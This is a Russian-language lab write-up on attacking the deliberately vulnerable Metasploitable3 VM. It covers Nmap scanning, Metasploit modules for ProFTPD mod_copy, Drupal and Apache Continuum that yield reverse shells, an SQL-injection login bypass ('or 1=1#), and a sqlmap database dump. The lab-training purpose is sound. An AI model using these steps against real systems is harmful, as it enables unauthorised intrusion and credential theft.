Metasploitable3 — умышленно уязвимая машина для проведения тестирования на взлом
Metasploitable3 является бесплатной виртуальной машиной, которая позволяет симулировать атаки в значительной степени используя Metasploit. Она применялась людьми, работающими в сфере безопасности, по многим причинам: таким как обучение правильной эксплуатации сети, разработка эксплойтов, тестирование программного обеспечения, проведение технических собеседований, демонстрации продаж или просто используется фанатами CTF ради собственной забавы.

В этой статье мы погрузимся в мир небезопасного программного обеспечения, такого как ProFTPD, OpenSSH, Drupal и Apache Continuum, и посмотрим, как легко злоумышленники могут получить доступ к вашим конфиденциальным данным. Основной идеей было показать читателю работу с такой штукой как Metasploit Framework. Это будет увлекательное путешествие по миру уязвимостей!

Для проведения тестирования были использованы следующие программное обеспечение:

  • Kali linux

  • Metasploit

  • Burp Suite

  • Nmap

  • Sqlmap

Я не стал описывать как устанавливать Metasploible3, а сразу решил перейти к делу. И так начнем c небольшого вступления!

Из нашей системы, которую я использовал для атаки (Linux, желательно что-то вроде Kali Linux), мы определим открытые сетевые службы на этой виртуальной машине с помощью сканера сети Nmap . Следующая команда сканирует все порты TCP на экземпляре Metasploitable 3, а также покажет запущенные на них сервисы и их версии:


Отображение содержимого директории

Отображение содержимого директории может быть связано с настройками веб-сервера или директории по умолчанию, которые отображают список файлов и папок в этой директории.

Сканер Nmap показал, что имеется некий веб-интерфейс (открыт порт 80). Перейдя по ip-адресу 192.168.56.102, можно увидеть список каталогов и файлов, но вернемся к нему позже.


Работа с Metasploit

Metasploit Framework — это мощнейший инструмент, который могут использовать как киберпреступники, так и специалисты по проникновению для исследования уязвимостей в сетях и на серверах.

1. ProFTPD

Это FTP-сервер, который позволяет использовать виртуальных пользователей с сопоставимыми с UID идентификаторами системных пользователей, а также настраивать анонимный доступ, ограничивать права доступа и работать через протокол FTP с поддержкой TLS для безопасной передачи данных.

На скриншоте выше видно, что на порту 21 открыт сервис ftp с версией ProFTPD 1.3.5.

Запускаем metasploit одной простой командой msfconsole.

Зная версию службы ftp, работающей на уязвимой машине, находим необходимый эксплойт.

Далее командной > show payloads, просматриваем полезные нагрузки, которые нам предоставляет Фреймворк. После нескольких безуспешных попыток удалось получить reverse shell. Подбираем подходящую полезную нагрузку и устанавливаем необходимые опции.

Команды для настройки:

  • set rhosts 192.168.56.102

  • set lhost 192.168.56.104

  • set sitepath /var/www/html

Запускаем эксплойт и получаем оболочку, из которой можем видеть файлы и папки.

 

Хочется немного подробнее рассказать про уязвимость модуля mod_copy, а также в качестве PoC (Proof of Concept) показать эксплуатацию этой уязвимости.

Модуль mod_copy в ProFTPD 1.3.5 позволяет удаленным злоумышленникам читать и записывать произвольные файлы с помощью команд site cpfr и site cpto. Любой неаутентифицированный клиент может использовать эти команды для копирования файлов из любой части файловой системы в выбранное место назначения.

Для подключения необходимо ввести логин Anonymous, пароль не требуется.

Команды для копирования:

  • Site spfr <files mame> </path>

  • Site cpfr </path>

 Открыв созданный файл в браузере, можно увидеть список пользователей.

Возвращаемся к нашей уязвимой машине. Благодаря оболочке shell, которую мы получили ранее, прочитав файл payroll_app.php, можно обнаружить строку, содержащую информацию об учетных данных.

Как упоминалось выше, metasploitable3 имеет открытый порт 80 с множеством каталогов и файлов. Конечно, первое, что приходит в голову, — это попробовать «впихнуть» полученные учетные данные. После недолгих манипуляций мы получаем доступ к административной панели веб-приложения phpMyAdmin.

Далее находим таблицу, содержащую конфиденциальную информацию об учетных данных пользователей и их заработной плате.

Казалось бы, на этом можно уже и закончить, но давайте посмотрим, что еще можно сделать. Впереди еще много интересного!

2. OpenSSH

OpenSSH - это набор сетевых утилит, который обеспечивает защищённые каналы связи в небезопасной сети с использованием протокола SSH

Благодаря оболочке, полученной в первом пункте данной статьи, читаем файл /etc/group

Далее, путем несложной компиляции полученной информации, выбираем пользователя с правами sudo и подключаемся к открытому каналу связи на 22-м порту.

3. Drupal

Drupal - это система управления содержимым, с открытым исходным кодом, используемая также в виде каркаса для веб-приложений.

Просмотрев ip уязвимого хоста 192.168.56.102, обнаруживаем запущенную службу Drupal.

Возвращаемся в metasploit, подбираем полезную нагрузку, настраиваем ее и запускаем.

Команды для настройки:

  • set rhosts 192.168.56.102

  • set lhost 192.168.56.104

  • set targeturi /drupal/

Получаем оболочку meterpreter, что дает возможность просматривать папки и файлы.

Альтернативный способ найти файлы и папки, воспользоваться веб-фаззингом ffuf.

 ffuf - это инструмент командной строки для перебора содержимого веб-приложений

Команда для тестирования:

ffuf -u "http://192.168.56.102/drupal/FUZZ" -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -e .txt

  • u – тестируемый url-адрес

  • w – словарь

  • е – необходимое расширение файл  

4. Apache_continuum

Инструмент непрерывной интеграции программного обеспечения на платформе Java, нацеленный на автоматизацию процесса сборки.

Воспользовавшись более глубоким сканированием портов, получаем дополнительную информацию о том, какие еще порты открыты и какие службы запущены.

Команда для тестирования:

nmap –sV –sC –p 0-65535 192.168.56.102

  • sV – включает обнаружение версии сервиса

  • sC – запускает набор стандартных скриптов

  • p – указываем диапазон портов

Обратившись в metasploit, находим эксплойт по имени запущенного сервиса.

Далее выбираем полезную нагрузку и устанавливаем параметры.

Команды для настройки:

  • set rhosts 192.168.56.102

  • set lhost 192.168.56.104

  • set rport 6697 

Запускаем эксплойт.

Получаем обратную оболочку, в которой можно просматривать папки и файлы.

Зайдя немного глубже, просматриваем содержимое каталога /opt/, в котором обращаем внимание на сервис под название apache_continuum.

Снова возвращаемся в metasploit и находим эксплойт по соответствующему названию apache_continuum.

Далее выбираем полезную нагрузку, которая сработает.

 Настраиваем, устанавливаем необходимые опции и запускаем эксплойт.

Команды для настройки:

  • set rhosts 192.168.56.102

  • set lhost 192.168.56.104

В итоге получаем обратную оболочку с правами root.


Обнаруженные уязвимости

В этом разделе я поделюсь с вами результатами другого тестирования. Вместо использования оптимизированных фреймворков, таких как Metasploit, я сосредоточился на ручном анализе, демонстрируя, как с помощью простых скриптов можно выявлять уязвимости. Используя лишь базовые инструменты и немного изобретательности, мне удалось обнаружить несколько серьезных уязвимостей, включая XSS (с помощью простого, но эффективного скрипта), а также SQL-инъекции (с помощью sqlmap и Burp Suite). Давайте подробно разберем этот процесс.

XXS – cross-site scripting (межсайтовый скриптинг).

ХSS - это уязвимость веб-безопасности, которая позволяет злоумышленнику манипулировать уязвимым веб-сайтом, чтобы он возвращал вредоносный JavaScript пользователям.

Открыв в браузере ip уязвимого хоста 192.168.56.102, можно увидеть некоторые файлы и каталоги.

Перейдя в один из каталогов, мы попадаем в чат, который может быть плохо защищён от XSS-уязвимостей. Путём ввода простейшего скрипта мы получаем информацию об уязвимости веб-приложения.

SQL-injection.

SQL-инъекция — внедрение в SQL-запрос вредоносных данных на основе информации, поступившей с клиентской стороны веб-приложения.

Исходя из информации, полученной с помощью сканера nmap, на хосте используется база данных MySQL.

Путем перебора файлов и каталогов, находим приложение уязвимое SQL-инъекции.

Поскольку вводимые символы не проверяются должным образом, путем подстановки недопустимых символов ‘or 1=1#, которые интерпретируются как SQL-код в поле login, удалось обойти аутентификацию. Мы получаем конфиденциальную информацию, содержащую данные пользователей, а также информацию об их заработной плате.

Далее, с помощью инструмента sqlmap, который автоматизирует процесс обнаружения и эксплуатации уязвимостей, связанных с SQL-инъекциями, а также с прокси Burp Suite, мы перехватим данные POST-запроса. Это позволит нам получить более полную и критичную информацию, содержащую учетные данные пользователей.

Перехваченный запрос сохраняем в файл, чтобы «скормить» его sqlmap.

Sqlmap отлично отработал и выдал нам таблицу, содержащую критически важную информацию.

Команда для тестирования:

sqlmap -r /tmp/metasploit_mysql --dump

  • r – позволяет загрузить HTTP-запросы из файла

  • --dump – сдампить записи таблиц базы данных СУБД

  • /tmp/metasploit_mysql – пусть к сохраненному файлу с данными POST-запроса


Заключение

Таким образом, наше путешествие по миру уязвимостей научило нас важности безопасности в киберпространстве и возможным последствиям пренебрежения защитой. С течением времени инструменты и методы атак будут лишь улучшаться, и только благодаря постоянному обучению и самосовершенствованию мы сможем выжить в этом быстро меняющемся цифровом мире. Настоятельно рекомендуем всем специалистам по безопасности продолжать учиться и развиваться, чтобы оставаться на шаг впереди потенциальных угроз.

P.S. Настоятельно рекомендую дополнительно изучить материал по уязвимостям: SQLi, XSS.


Спасибо за уделенное время!

Комментарии (2)


  1. DAFFIER
    05.12.2024 11:16

    Классная статья, автор красава)


    1. Konstanto Автор
      05.12.2024 11:16

      Спасибо, коллега!!!)))